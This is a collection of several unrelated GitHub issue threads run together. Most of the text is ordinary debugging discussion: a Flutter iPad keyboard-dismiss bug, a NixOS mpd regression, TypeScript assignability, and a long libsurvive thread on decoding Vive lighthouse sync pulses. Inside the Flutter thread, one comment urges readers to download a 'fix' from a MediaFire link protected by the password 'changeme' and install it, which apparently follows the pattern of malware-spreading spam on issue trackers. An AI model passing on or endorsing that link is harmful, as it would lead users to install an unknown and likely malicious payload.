TextField ipad, click button dismiss keyboard, Textfiled lost focus

Steps to reproduce

use chinese input ;
input with composing;
click dismiss button on keyboard;

Textfiled lost focus
Expected results

textfield should not lost fcouse
dismiss keyboard

Actual results

textfield lost focus
keyboard not dismiss

Code sample
Code sample
import 'package:flutter/material.dart';

void main() {
  runApp(const MainApp());
}

class MainApp extends StatelessWidget {
  const MainApp({super.key});

  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      home: Scaffold(
        body: Center(
          child: buildText(),
        ),
      ),
    );
  }

  Widget buildText() {
    return TextField(onTapOutside: (event) {
      FocusManager.instance.primaryFocus?.unfocus();
    });
  }
}

Screenshots or Video

Screenshots / Video demonstration
https://github.com/user-attachments/assets/b9ce6972-4547-4031-8cfd-4063ccca8635

Logs
Logs
......
Make a symbolic breakpoint at UIViewAlertForUnsatisfiableConstraints to catch this in the debugger.
The methods in the UIConstraintBasedLayoutDebugging category on UIView listed in <UIKitCore/UIView.h> may also be helpful.
[LayoutConstraints] Unable to simultaneously satisfy constraints.
        Probably at least one of the constraints in the following list is one you don't want.
        Try this:
                (1) look at each constraint and try to figure out which you don't expect;
                (2) find the code that added the unwanted constraint or constraints and fix it.
        (Note: If you're seeing NSAutoresizingMaskLayoutConstraints that you don't understand, refer to the documentation for the UIView property translatesAutoresizingMaskIntoConstraints)
(
    "<NSAutoresizingMaskLayoutConstraint:0x283c04dc0 h=--& v=--& _UIButtonBarButton:0x133fafe80.height == 0   (active)>",
    "<NSLayoutConstraint:0x283c08b90 V:|-(6)-[_UIUCBKBSelectionBackground:0x135874650]   (active, names: '|':_UIButtonBarButton:0x133fafe80 )>",
    "<NSLayoutConstraint:0x283c01ae0 _UIUCBKBSelectionBackground:0x135874650.bottom == _UIButtonBarButton:0x133fafe80.bottom - 6   (active)>"
)

Will attempt to recover by breaking constraint
<NSLayoutConstraint:0x283c01ae0 _UIUCBKBSelectionBackground:0x135874650.bottom == _UIButtonBarButton:0x133fafe80.bottom - 6   (active)>

Make a symbolic breakpoint at UIViewAlertForUnsatisfiableConstraints to catch this in the debugger.
The methods in the UIConstraintBasedLayoutDebugging category on UIView listed in <UIKitCore/UIView.h> may also be helpful.
[Assert] View <(null):0x0> does not conform to UITextInput protocol
[ERROR:flutter/shell/platform/darwin/ios/framework/Source/profiler_metrics_ios.mm(203)] Error retrieving thread information: (os/kern) invalid argument
[Snapshotting] Snapshotting a view (0x134959200, UIKeyboardImpl) that is not in a visible window requires afterScreenUpdates:YES.

Flutter Doctor output
Doctor output
fvm flutter doctor -v
[!] Flutter (Channel stable, 3.22.3, on macOS 14.4.1 23E224 darwin-arm64, locale zh-Hans-CN)
    • Flutter version 3.22.3 on channel stable at /Users/xuyang/fvm/versions/3.22.3
    ! Warning: `flutter` on your path resolves to /Users/xuyang/fvm/versions/3.19.5/bin/flutter, which is not inside your current Flutter SDK checkout at /Users/xuyang/fvm/versions/3.22.3. Consider adding /Users/xuyang/fvm/versions/3.22.3/bin to the front of your path.
    ! Warning: `dart` on your path resolves to /Users/xuyang/fvm/versions/3.19.5/bin/dart, which is not inside your current Flutter SDK checkout at /Users/xuyang/fvm/versions/3.22.3. Consider adding /Users/xuyang/fvm/versions/3.22.3/bin to the front of your path.
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision b0850beeb2 (6 weeks ago), 2024-07-16 21:43:41 -0700
    • Engine revision 235db911ba
    • Dart version 3.4.4
    • DevTools version 2.34.3
    • Pub download mirror https://pub.flutter-io.cn
    • Flutter download mirror https://storage.flutter-io.cn
    • If those were intentional, you can disregard the above warnings; however it is recommended to use "git" directly to perform update checks and upgrades.

[✓] Android toolchain - develop for Android devices (Android SDK version 34.0.0-rc2)
    • Android SDK at /Users/xuyang/Library/Android/sdk
    • Platform android-34, build-tools 34.0.0-rc2
    • ANDROID_HOME = /Users/xuyang/Library/Android/sdk
    • Java binary at: /Applications/Android Studio.app/Contents/jbr/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 17.0.11+0-17.0.11b1207.24-11852314)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 15.3)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Build 15E204a
    • CocoaPods version 1.15.2

[✓] Android Studio (version 2024.1)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 17.0.11+0-17.0.11b1207.24-11852314)

[✓] VS Code (version 1.92.2)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.94.0

[✓] Connected device (3 available)
    • iPad (mobile)                   • b2a17aba22d11286adabc5eba7a8b9e6beec5480 • ios          • iOS 14.4 18D52
    • macOS (desktop)                 • macos                                    • darwin-arm64 • macOS 14.4.1 23E224 darwin-arm64
    • Mac Designed for iPad (desktop) • mac-designed-for-ipad                    • darwin       • macOS 14.4.1 23E224 darwin-arm64

[✓] Network resources
    • All expected network resources are available.

! Doctor found issues in 1 category.

ipad os version : 14.4

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

same issue. The paste option is not available at this time
Flutter 3.24.1 • channel stable • https://github.com/flutter/flutter.git
Framework • revision 5874a72aa4 (6 days ago) • 2024-08-20 16:46:00 -0500
Engine • revision c9b9d5780d
Tools • Dart 3.5.1 • DevTools 2.37.2

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      body: SafeArea(
        child: Center(
          child: ExtendedTextField(
            controller: _controller,
            specialTextSpanBuilder: null,
            onTapOutside: (event) {
              FocusManager.instance.primaryFocus?.unfocus();
            },
          ),
        ),
      ),
    );
  }

There is no problem with version Flutter 3.22.2

Hi @demoYang, I just tested a swiftui app and the behavior is the same as flutter, i.e, the dismiss button unfocuses the keyboard. This is not specific to Chinese. This also happens with the notes app and the reminders app on the latest version of iOS. The same behavior happens with the settings and messages app.
https://github.com/user-attachments/assets/b7d1d429-67d7-49d0-9417-8cd9baa39380
How do other iOS apps behave on your version of iOS?

@danagbemava-nc in flutter should click double to dismiss keyboard, iOS apps just click once ,keyboard will dismiss

@demoYang On Android, long pressing and then click the paste option, it will also lose focus, and the content cannot be pasted into the input box。
Clicking the paste option will close the keyboard

@Junesui  We can ignore Android,  On iPad  flutter app the keyboard should be dismiss ,when you click dismiss button , but i click twice , i think this should be fix

Summary
When inputing Chinese text and the composing region is active, clicking on the dismiss button on the iPad keyboard should dismiss the keyboard. However, in flutter, the keyboard pops down and pops back up.
Observation
When I checked the messages app, the text that remains after clicking the dismiss button is "combined", sort of like it's one word and the keyboard is dismissed. In flutter, the text does get combined and the keyboard is dismissed but the keyboard pops up just a second or so later with the textfield disabled. The dismiss button needs to be clicked again to dismiss the keyboard completely. This does not happen if the composing region is not active, i.e, you select one of the suggestions to form the word. See the recording below
Tested on my iPad Air M1, running iOS 17.5.1
https://github.com/user-attachments/assets/87416a89-f7f6-4263-a9ec-206e9101c822

flutter doctor -v
[✓] Flutter (Channel stable, 3.24.1, on macOS 14.6.1 23G93 darwin-arm64, locale en-US)
    • Flutter version 3.24.1 on channel stable at /Users/deanli/dev/stable
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 5874a72aa4 (8 days ago), 2024-08-20 16:46:00 -0500
    • Engine revision c9b9d5780d
    • Dart version 3.5.1
    • DevTools version 2.37.2

[!] Flutter (Channel master, 3.25.0-1.0.pre.170, on macOS 14.6.1 23G93 darwin-arm64, locale en-US)
    • Flutter version 3.25.0-1.0.pre.170 on channel master at /Users/deanli/dev/master
    ! Warning: `flutter` on your path resolves to /Users/deanli/dev/stable/bin/flutter, which is not inside your current Flutter SDK checkout at /Users/deanli/dev/master. Consider adding /Users/deanli/dev/master/bin to the front of your path.
    ! Warning: `dart` on your path resolves to /Users/deanli/dev/stable/bin/dart, which is not inside your current Flutter SDK checkout at /Users/deanli/dev/master. Consider adding /Users/deanli/dev/master/bin to the front of your path.
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 7e9a622420 (2 hours ago), 2024-08-29 01:08:34 -0400
    • Engine revision f48ecf5b49
    • Dart version 3.6.0 (build 3.6.0-193.0.dev)
    • DevTools version 2.39.0
    • If those were intentional, you can disregard the above warnings; however it is recommended to use "git" directly to perform update checks and upgrades.

cc @LongCatIsLooong, from text input triage.

This is reproducible on a simulator if you uncheck "connect hardware keyboard" from the simulator's menu: I/O -> Keyboard. The framework is sending "show" command when the keyboard is dismissed for the first time:
flutter: #0      _PlatformTextInputControl.show (package:flutter/src/services/text_input.dart:2318:22)
#1      TextInput._show (package:flutter/src/services/text_input.dart:1999:15)
#2      TextInputConnection.show (package:flutter/src/services/text_input.dart:1408:25)
#3      EditableTextState._openInputConnection (package:flutter/src/widgets/editable_text.dart:3648:29)
#4      EditableTextState.requestKeyboard (package:flutter/src/widgets/editable_text.dart:3756:7)
#5      EditableTextState._handleSelectionChanged (package:flutter/src/widgets/editable_text.dart:3979:11)
#6      EditableTextState._formatAndSetValue (package:flutter/src/widgets/editable_text.dart:4206:7)
#7      EditableTextState.updateEditingValue (package:flutter/src/widgets/editable_text.dart:3260:7)
#8      TextInput._updateEditingValue (package:flutter/src/services/text_input.dart:2067:43)
#9      TextInput._handleTextInputInvocation (package:flutter/src/services/text_input.dart:1903:29)
#10     TextInput._loudlyHandleTextInputInvocation (package:flutter/src/services/text_input.dart:1803:20)
#11     MethodChannel._handleAsMethodCall (package:flutter/src/services/platform_channel.dart:571:55)
#12     MethodChannel.setMethodCallHandler.<anonymous closure> (package:flutter/src/services/platform_channel.dart:564:34)
#13     _DefaultBinaryMessenger.setMessageHandler.<anonymous closure> (package:flutter/src/services/binding.dart:618:35)
#14     _invoke2 (dart:ui/hooks.dart:344:13)
#15     _ChannelCallbackRecord.invoke (dart:ui/channel_buffers.dart:45:5)
#16     _Channel.push (dart:ui/channel_buffers.dart:135:31)
#17     ChannelBuffers.push (dart:ui/channel_buffers.dart:343:17)
#18     PlatformDispatcher._dispatchPlatformMessage (dart:ui/platform_dispatcher.dart:750:22)
#19     _dispatchPlatformMessage (dart:ui/hooks.dart:257:31)


nixos/mpd: support passwords in separate files

This allows to use files containing only the mpd password without the
permissions, making it easier for other programs connecting to mpd to read the
password from the same password file.
This would for example allow https://github.com/NixOS/nixpkgs/pull/97553 to automatically specify a reasonable default for a passwordFile.

@Sohalt @doronbehar This breaks the mpd service if services.mpd.credentials is empty, the generated exec-pre script ends up like so:
#!/nix/store/zcl19h06322c3kss6bvf05w2pxg4kfll-bash-4.4-p23/bin/bash
set -euo pipefail
install -m 600 /nix/store/5gklrsfnwmljgl28srlrf165c3ypsmkz-mpd.conf /run/mpd/mpd.conf
/nix/store/y100hz2wmq402bq58jrmam4b0qyb4jmv-replace-2.24/bin/replace-literal -fe  /run/mpd/mpd.conf

Which obviously fails.

@Sohalt @doronbehar This breaks the mpd service if services.mpd.credentials is empty, the generated exec-pre script ends up like so:
#!/nix/store/zcl19h06322c3kss6bvf05w2pxg4kfll-bash-4.4-p23/bin/bash
set -euo pipefail
install -m 600 /nix/store/5gklrsfnwmljgl28srlrf165c3ypsmkz-mpd.conf /run/mpd/mpd.conf
/nix/store/y100hz2wmq402bq58jrmam4b0qyb4jmv-replace-2.24/bin/replace-literal -fe  /run/mpd/mpd.conf

Which obviously fails.

Damn. I should have ran the nixos test for this, it would have catch that. Ran it with the changes in https://github.com/NixOS/nixpkgs/pull/108981 .

Damn. I should have ran the nixos test for this, it would have catch that. Ran it with the changes in https://github.com/NixOS/nixpkgs/pull/108981 .

Ooops, sorry :/

Ooops, sorry :/


Extending class with Interface does not work as intended?

I don't know if this is a bug, or working as intended, but it feel very wrong.
TypeScript Version:  2.5.2 / Typescript Playground
Code
https://goo.gl/rNMwRE
class IFoobar {
    setup: (a: string) => string;
}

class Foo implements IFoobar {
    setup() { // I'm expecting an error here
        return 'apa'
    }
}

const a = new Foo
a.setup() //=> No errors (why?)
a.setup('foo') //=> Error: Expecting 0 arguments, but got 1

Same behaviour with:
interface IFoobar {
    setup: (a: string) => string;
}

Expected behavior:

Should receive a warning that setup doesn't implement setup correct

Actual behavior:
No error

When checking whether Foo implements IFoobar, TypeScript checks whether the member in Foo is assignable to that of IFoobar. Check out this section of our FAQ that further explains why one's assignable to the other: https://github.com/Microsoft/TypeScript/wiki/FAQ#why-are-functions-with-fewer-parameters-assignable-to-functions-that-take-more-parameters

Thank you! I did some more reading, and it makes sense. What I also discovered was that this
code causes an error. Thank you for your reply 👍
class Foo implements IFoobar {
    setup(a,b) { // Boom
        return 'apa'
    }
}


Will you open the source code for hard samples mining?

Will you open the source code for hard samples mining?

Our code was written for running on a cluster over multiple videos in parallel -- it is taking some time to clean this up for a public release, and I cannot promise a quick release of this code. Apologies about this delay.
It is based off the MDNet tracker, and is not an original algorithm: https://github.com/HyeonseobNam/MDNet
Thank you for your patience.

Thanks for your awesome works on self-learning. But I have questions about how to use MDNet to mine the hard positives because MDNet is a tracking algorithm for single object tracking and you need to provide bbs for multiple objects in this project. Besides this, I am confused about how to extract the hard bbs from tracking. From my perspective, MDNet is a detection-free tracking approach and would generate many bbs without detectors. Thus, did you use these new bbs by MDNet to filter all bbs (low confidence) by the detection?


Use pyparsing instead of Regex

I think our Regex are working fine but are a bit limited. I would like to change it to use a grammar parsing tool and I found pyparsing (https://github.com/pyparsing/pyparsing) which seems like a good choice to provide more solid parsing of the input.
Limits of regex:

Math parsing: currently done with eval() which can be unsafe...)
Recursion: we need multiple iterations to get the attributes from a skill check)
Error handling: If there is a typo, the result may be unexpected to the user (e.g. 1s20 instead of 1d20)

Pros of regex:

Common knowledge: Writing a grammar with pyparsing will require quite a bit of learning (at least for me)
Already implemented: Duh.
Light-weight solution: No exta dependencies

This is what I came up with, but I would be interested in the opinion of others.

I think the syntax could get more and more complex so this might be helpful for #32?


Improve Light Disambiguator

The light disambiguator is right now very poor.  Located in survive_process.c it is rather simplistic, and something terrible happens when you power on the watchmen controllers.
Would anyone mind taking a whack at this to help me out?
static void handle_lightcap( struct SurviveObject * so, struct LightcapElement * le )
{
	struct SurviveContext * ct = so->ctx;

	if( le->type != 0xfe || le->length < 50 ) return;
	//le->timestamp += (le->length/2);

	if( le->length > 2100 ) //Pulse longer indicates a sync pulse.
	{
		int32_t deltat = (uint32_t)le->timestamp - (uint32_t)ct->last_photo_time;
		if( deltat > 2000 || deltat < -2000 )		//New pulse. (may be inverted)
		{
			if( le->timestamp - ct->last_photo_time > 80000 )
			{
				ct->last_photo_time = le->timestamp;
				ct->total_photo_time = 0;
				ct->total_photos = 0;
				ct->total_pulsecode_time = 0;
				ct->lightproc( so, le->sensor_id, -1, 0, le->timestamp, deltat );
			}
		}
		else
		{
			ct->total_pulsecode_time += le->length;
			ct->total_photo_time += deltat;
			ct->total_photos++;
		}
	}
	else if( le->length < 1200 && le->length > 40 && ct->total_photos )
	{
		int32_t dl = (ct->total_photo_time/ct->total_photos);
		int32_t tpco = (ct->total_pulsecode_time/ct->total_photos);
		//Adding length
		int32_t offset_from = le->timestamp - dl - ct->last_photo_time + le->length/2;

		//Long pulse-code from IR flood.
		//Make sure it fits nicely into a divisible-by-500 time.
		int32_t acode = (tpco+125)/250;
		if( acode & 1 ) return;
		acode>>=1;
		acode -= 6;

		if( offset_from < 380000 )
		{
			ct->lightproc( so, le->sensor_id, acode, offset_from, le->timestamp, le->length );
		}
	}
	else
	{
		//Runt pulse.
	}
}

I would guess the best way of recovering the sync pulses is to build something like a PLL and maybe even additionally sync on the sequence of the pulses (iirc there are different length sync pulses, that come in a well known sequence?). Standard PLL implementations probably will have a problem with shadowing all the sensors / the sensor used to synchronize the clock.
It could also be helpful to identify the times many sensors are triggered at the "same time", but this might not work really well with the handheld controllers, because iirc the "Ben compression" omits pulses if too many sensors are triggered in a very rapid succession.

(1) I just realized I am using system's sync time.  That's why turning on the controllers messes everything up.  I will switch to having each time domain have its own timer monitor.
(2) @jpicht: I think this is something that would take a fair bit of thought and effort to implement.  If I record raw pulses in a variety of distances, would you be up for trying to improve the disambiguator?  Additionally, do you have a vive?  Perhaps you could take the readings yourself?
Charles

On a lot of microcontrollers there is a specific bit count assembly instruction does the '86 have the equivalent?
If so, you could keep track of which are lit bitwise and just trigger a flood count based on a lit threshold with minimal processing.

Because I am unfamiliar with this, it would take me a fair bit of time to implement.  Sounds like this is something you'd be well suited to making work and doing a push... I will still try to collect some good raw light data and post it here.

I've taken lightcap data from the watchman, since that seems to be the hardest thing to deal with at the moment.   I held the watchman still a ways away from both of the lighthouses, then I moved it close to one, then close to the other.  @jpicht @LeeCookGHA  if you could poke through this and see if you can improve the disambiguator, that would be awesome!
raw_light_data_from_watchman.csv.zip

I will have a poke at it. What do the columns mean? I would guess it's
    <"absolute" time of rising/falling edge?!>

It's 254 here, hard-coded, always.  It's almost always 254 from the HMD.  I'm not sure what it actually means.  But other than that that's all correct.

@jpicht I am not sure what's actually going on there.  Mostly with the output. I am expecting to get the time from sync pulse to light passing over each sensor.  What I "think" I'm seeing is the time between sync pulses?

Well, yeah, it is a very primitive approach to detect the sync pulses by their frequency and length. The number displayed is related to the detected frequency.

So, currently it ignores the sweep pulses? (Which is ok since that is part of developing a better disambiguator, just trying to understand)

Yes, exactly. The version I pushed yesterday night was all about detecting the sync pulses. An actually usable implementation of your interface is in the works at the moment.

Ah! Cool! Ok!  Good to know I may not need to write that myself!!!  Thank you!

One other note - please be as sensitive as you can to run-time.  This code will need to be very tight as it is run more frequently than the code that accepts this code's output, and this will need to be a part that runs on an embedded microcontroller.

Yeah, I know :) I've watched ALL THE STREAMS. Not live though, as in Germany the time offset makes that kind of inconvenient ...
That's why I'm doing it in C instead of C++ (which I am way more familiar with, really starting to miss the std containers!). This way it should be easily portable to the ESP.
I will not put too much emphasis on runtime though, before I know it really is going to be better than your current approach. If we know it works, we can start crunching it down.

Do have any data with only one lighthouse? I am currently a little confused ...

I think I need to record a LOT more data for this, like HMD, WM, etc.  Still want to do both lighthouses.  What would having only one benefit?

I am currently trying to manually check if the results my code produces make sense. But two lighthouses both flashing away make that kind of extra hard ...

You should be able to filter fairly easily based on the length-of-sync-pulse.

I pushed my current version to the disambiguate branch in my fork. Seems pretty stable to me. The output should be a little more self-explanatory now.
Now I only need to integrate it with your code, so someone who has a vive can test in the real world.

I think the order of the pulses is not always correct. Could you check, if the pulses are fed into handle_lightcap in the right order, after they come from the Ben-decoder?

Perhaps that was the same issue I was running into with my code.  It seemed that the sync pulses were coming in at an unusual order, and it made the relative timings "jump" around.  I hope we do not have to descend back into the depths of the bencoder.

Your code seems to mistake these pulses for sync pulses if they are >2100 ticks otherwise it ignores them in two different ways.
I am thinking about creating a buffer to get them in order. Just always process the oldest and then add the current one to the buffer. A buffer size of 8 should be enough for this. Would add latency to the event chain though ...

The pulses in a batch seem to be ordered by the falling edge (timestamp + length) instead of the leading edge.

Interesting... That is something I may be able to do something about, though admittedly, it would take re-recording.  Thank you for figuring that out!!!

(1) Does your current disambiguator, implemented as-is assume the pulse times are at the end or beginning?  Will something need to be undone once I correct the edges?
(2) Since this is almost exclusively your work, please include a copyright notice at the top with year, your name, and a note that the file is licensed under the MIT license.

(1) It is implemented without any reordering. The pulse order is assumed to be correct.
(2) done & pushed.
I sorted the data with a python script for testing purposes: raw_light_data_from_watchman.sorted.csv.zip

Hmm, this is not working in the final system at the moment.  Even on the HMD.  I guess I am concerned you were expecting the light pulse times going into the headset to be centered differently.

I've made a bunch of changes trying to massage the algorithm in more, but it's still not working :-/.  Needs more comments in future.  I've set the preprocessor directive USE_OLD_DISAMBIGUATOR.  I'm going to try to push to my master and collect more data.  Maybe from there you can help determine what's wrong with the new disambiguator.

new_lightcap_data.csv.zip
Here's my new lightcap data, includes for HMD and watchmen dongles. @jpicht  see if you can get this data to behave correctly?

Hm ... really inconvenient, that I cannot test it myself... I will have a look at the new data. It worked just fine with the old data I had. :(
Some guesses:

the buffer size might be to small (DIS_NUM_VALUES)
the threshold for the lock might be too high (disambiguator_step, if (d->scores[idx] >= 30))
the maximum jitter to low (disambiguator_find_nearest, third parameter)

Just had a very brief look at the pulses that arrive at the HMD and I can already tell that you probably have something reflective in the room. That gives you a spurious sync pulse ~20000 ticks probably before, maybe after the "real" sync pulse. Also the jitter seems to be about twice as high as in the older WM data.
It should be possible to remedy that by also locking onto the expected sequence of pulse lengths. Will have a closer look at that tonight.

I’ve done a little research and I think this is the way each device needs to be decoded:
For this valid sync pulses are (in ticks) S:SKIP, D:DATA, A:AXIS:
2880:3024, // SYNC_TYPE_0 - PS0, PD0, PA0
3380:3524, // SYNC_TYPE_1 - PS0, PD0, PA1
3880:4024, // SYNC_TYPE_2 - PS0, PD1, PA0
4380:4524, // SYNC_TYPE_3 - PS0, PD1, PA1
4880:5024, // SYNC_TYPE_4 – PS1, PD0, PA0
5380:5524, // SYNC_TYPE_5 – PS1, PD0, PA1
5880:6024, // SYNC_TYPE_6 – PS1, PD1, PA0
6380:6524  // SYNC_TYPE_7 – PS1, PD1, PA1
// RE-SYNC to LH process (also start-up waiting for the LH “babble” to settle down….)
// If any of the Checks fail then re-start the process
Wait for a valid sync pulse length then
Take a snapshot of the arrival time (T0) and the type (S0)
Ignore all pulses for 12000 ticks
Wait for a valid sync pulse length then
Take a snapshot of the arrival time (T1) and the type (S1)
Check T1 is within 18720: 21600 of T0
If S0 is SYNC_TYPE_0 or SYNC_TYPE_2
Check S1 is SYNC_TYPE_4 or SYNC_TYPE_6
If S0 is SYNC_TYPE_1 or SYNC_TYPE_3
Check S1 is SYNC_TYPE_5 or SYNC_TYPE_7
If S0 is SYNC_TYPE_4 or SYNC_TYPE_6
Check S1 is SYNC_TYPE_0 or SYNC_TYPE_2
If S0 is SYNC_TYPE_5 or SYNC_TYPE_7
Check S1 is SYNC_TYPE_1 or SYNC_TYPE_3
// ###### LASER SWEEPS HAPPEN HERE #######
Check no pulses of greater length than 1200 ticks arrive between (T0+63450) and (T0+398400)
Wait for a valid sync pulse length then
Take a snapshot of the arrival time (T2) and the type (S2)
Check T2 is within 398832: 401136 of T0
If S0 is SYNC_TYPE_0 or SYNC_TYPE_2
Check S2 is SYNC_TYPE_1 or SYNC_TYPE_3
If S0 is SYNC_TYPE_1 or SYNC_TYPE_3
Check S2 is SYNC_TYPE_4 or SYNC_TYPE_6
If S0 is SYNC_TYPE_4 or SYNC_TYPE_6
Check S2 is SYNC_TYPE_5 or SYNC_TYPE_7
If S0 is SYNC_TYPE_5 or SYNC_TYPE_7
Check S2 is SYNC_TYPE_0 or SYNC_TYPE_2
// If it managed to get to here without a failed check then T2 and S2 become T0 and S0 of a newly started cycle
// The new cycle should adhere to the rules above (continue to do the checks?)
// S0 is output from the first lighthouse, S1 from the second lighthouse
// Angles are measured +/- around a centre of S0+192000 ticks (4000us)
// The sync type (corresponding to particular lengths) define the current axis (PA0/PA1) and whether the lighthouse is “skipping” that cycle (PS0/PS1)
// The lighthouse also outputs data encoded within the pulses (PD0/PD1)
// The data is meant to follow this format:
Pre-amble : 18bits   : “000000000000000001” – NO BIT STUFFING
Data Len  : 16bits   : uint16, little endian, number of bytes in the data field
Data      : VAR bits : message data with a padding byte appended ZERO byte if Data Len is odd
CRC       : 32bits   : little endian CRC of data field (excluding padding and bit stuffed bits)
Excluding the Preamble after every 16th bit within the message there is a bit-stuffed “1” bit.

It would be really interesting to know if the relative angles between the lighthouses are calculated and encoded within that sync pulse data stream!

After watching Alans Hackaday presentation, and especially after his comment in the other thread here, I'm now really curious about what is encoded in the sync pulses of the lh datastream.
Hoping for more, I figured it would just be serial numbers etc.

@LeeCookGHA the bases do not send the angles of other bases they can see in their OOTX broadcasts.  I considered but never implemented this feature as it is not really required.  The angles might be useful for a couple of things, but they don't give you a scale for the Universe so would not help too much computing the relative position of the base stations - they might however be useful for locking down the orientation of the base stations which is more variable in the current implementation than I would like.
@nairol's website includes a description of the OOTX frame.  We currently implement its decode in the disambiguation layer, but previously we did it in the tracked object firmware...  It got moved host side to simplify things, it may end up back in the tracked object eventually.  The 5 calibration parameters per beam are probably worth a look once you guys get to tracking for real.  You will need to use the phase term at the very least and probably the tilt and gibbousness before you get good results.  Curvature is a bit of a hack on double-rotor bases and should be pretty low for HTC units so you may be able to just ignore it.

@vk2zay I need to stop thinking relative...  of course the likes of axis tilt are going to have to be known if you're positioning absolutely.
You say phase, is that the phase difference between the different axis wrt to the zero points? I'm struggling to think of another phase but I would have thought that could be removed in the lighthouse by shifting the lock position?

@LeeCookGHA: This is the description of the OOTX payload that vk2zay mentioned. Just in case you haven't seen it yet.
Btw. I know my repo is not really up to date with all the stuff you guys figured out in the live streams and beyond. I'm on it. Currently trying to make a simple SVG explaining the "Arcane Bencoding". :)

@LeeCookGHA phase of the beam relative to the sync.  Tilt is beam tilt, not axis tilt.

Regarding writing a disambiguator for TDM base stations the following timing diagram might be helpful:

The time between the rising edge of the master sync pulse and the rising edge of the slave sync pulse should always be 20000 ticks.
Lasers are turned on at 32.0° and stay on for 124.0°. (On at 71111 ticks, off at 346667 ticks, measured from the rising edge of the sync pulse)
The order in which sync pulses should be received is:
skip:0 axis:0
skip:1 axis:0
-- Laser sweep by master base station, axis 0 --
skip:0 axis:1
skip:1 axis:1
-- Laser sweep by master base station, axis 1 --
skip:1 axis:0
skip:0 axis:0
-- Laser sweep by slave base station, axis 0 --
skip:1 axis:1
skip:0 axis:1
-- Laser sweep by slave base station, axis 1 --

@nairol That is very cool - watching! I'm pretty sure that the source I used for the post earlier was probably copied from you but without the content details.
That's a hellova lot of config to figure out. Lets hope Charles' bases are sufficiently different that it is obvious.
Heh, I now see why Alan doesn't mind pitching in. This thing is hugely complex to keep the accuracy over the full volume. I feel like I did in school chemistry when the teachers said "actually, this is what an atom looks like and, oh, expect worse to come"....

@vk2zay Thank you.
@nairol I had some of that but other bits I got from the timing info in Charles files. Is there any reason you are aware of that the sync pulses from the same base would gradually drift in start time and reduce in length? That is why I only picked up the first declared reading from a unit, as the others were coming in they reduced in length, sometimes to the point where they were actually a valid length of the next sync down.

Hmm... I thought my code gave timing from the center-of-the-pulse, not the beginning.  I guess I'm gonna need to nail that down.  Make sure it's universally beginning-of-pulse on both systems.  I don't know why that would be.  All of my tests are static.  Additionally, my disambiguator seems to work well with the HMD, just not the watchmen... But I really need to double-check my start- mid- times.

@cnlohr This is the definition of light_process_function:
( struct SurviveObject * so, int sensor_id, int acode, int timeinsweep, uint32_t timecode, uint32_t length );
but in the code:
ct->lightproc( so, le->sensor_id, -1, 0, le->timestamp, deltat );
the deltat is being output as the length?
Also, what's the purpose of dl in the offset_from assignment:
int32_t offset_from = le->timestamp - dl - so->last_photo_time + le->length/2;
if offset_from is timeinsweep?

@nairol I have a similar timing diagram on my whiteboard at the moment:

The timing in 48 MHz ticks for each rotor of a base is roughly:

Will read @vk2zay thing soon.  I wanted to chime in now saying: No reflections.  Just 90% sure something is wrong with my bencoding.  Things are jumping around far more than they should.

Just wanted to let people know, there is at least one problem with the watchman data.  There looks to be another.  But, it was not reflections.
Here's some watchman data from the most recent run... 	printf( "%s %d %d %d %d %d\n", so->codename, le->sensor_id, le->type, le->length, le->timestamp, le->timestamp-tsl );
watchman_lightcap_data.csv.zip

Oh! I never knew the both stations were putting out sync pulses each cycle! So the "reflection" I though I saw was actually the second base station. That makes way more sense! The timing diagram really helps a lot to understand what is going on.
Who is currently implementing this in C? Is this still something that somebody needs to do? If nobody is on it, I would have another go at it.

I have a rather bad implementation, but it seems to be working for everything except the watchmen.  But, I'm starting to think it may yet be something wrong with my bencoding.  I've already found one bug that totally wrecked the data.  There appears to be something else going on since I am having a hard time resolving the sync pulses.

My version was supposed to be better at deciding if a pulse is a sync pulse or not, when the HMD is close to the lighthouse. Which works pretty well. But when I compare it's performance to your current implementation I don't see the need for that, you really have to be pretty close to get real problems.
I was playing around a bit with your implementation and I found out that the timings for one of the lighthouses had considerably more jitter. I was able to fix that by tracking master and slave timings separately.
I did not send you a pull request, but my current version is up on my clone at: https://github.com/jpicht/libsurvive/tree/disambiguator

Not sure - do you feel your current version is better or worse than mine?

I think it does not have to be done the way I did - it's more like a proof of concept - but referencing the sweep to the flash of the sweeping lighthouse should help (and it does for me) with the stability of the angle measurements.
It will introduce a static offset for the slave lighthouse, that needs to be taken into account when trying to find the lighthouses, but your current code always uses the sync flash of the slave lighthouse as a reference, so you probably take that into account already?

Hmm, I don't know if I do or don't.  The data is very stable, though.  Additionally if there is a static offset, it doesn't really effect the system since the angles of the lighthouses can have constant offsets.  I will admit - if that is the case of what I am doing, it is nonideal.

Just a quick note: I don't think a static offset is benign.  It becomes important when calculating the angle that the lighthouse makes relative to two points on a tracked object.  I assume that's also why the "phase" offset is listed in the Base Station Info Block.  The error introduced from a static offset will be very small in the center of the lighthouse's range, but will get more extreme toward the "edges" of the lighthouse's range.

I am pretty sure that because the lighthouses aren't cameras, it doesn't matter.  What I am worried about has more to do with jitter that could be introduced due to syncing off the wrong thing... and, I am pretty sure that would induce a fair bit of phase error.

I agree that getting the jitter out and syncing off of the right thing is critical, so I don't want to distract this thread too much from that.  But if we write the disambiguator without regard to adding a static offset, I'm pretty sure we're going to have other problems later.
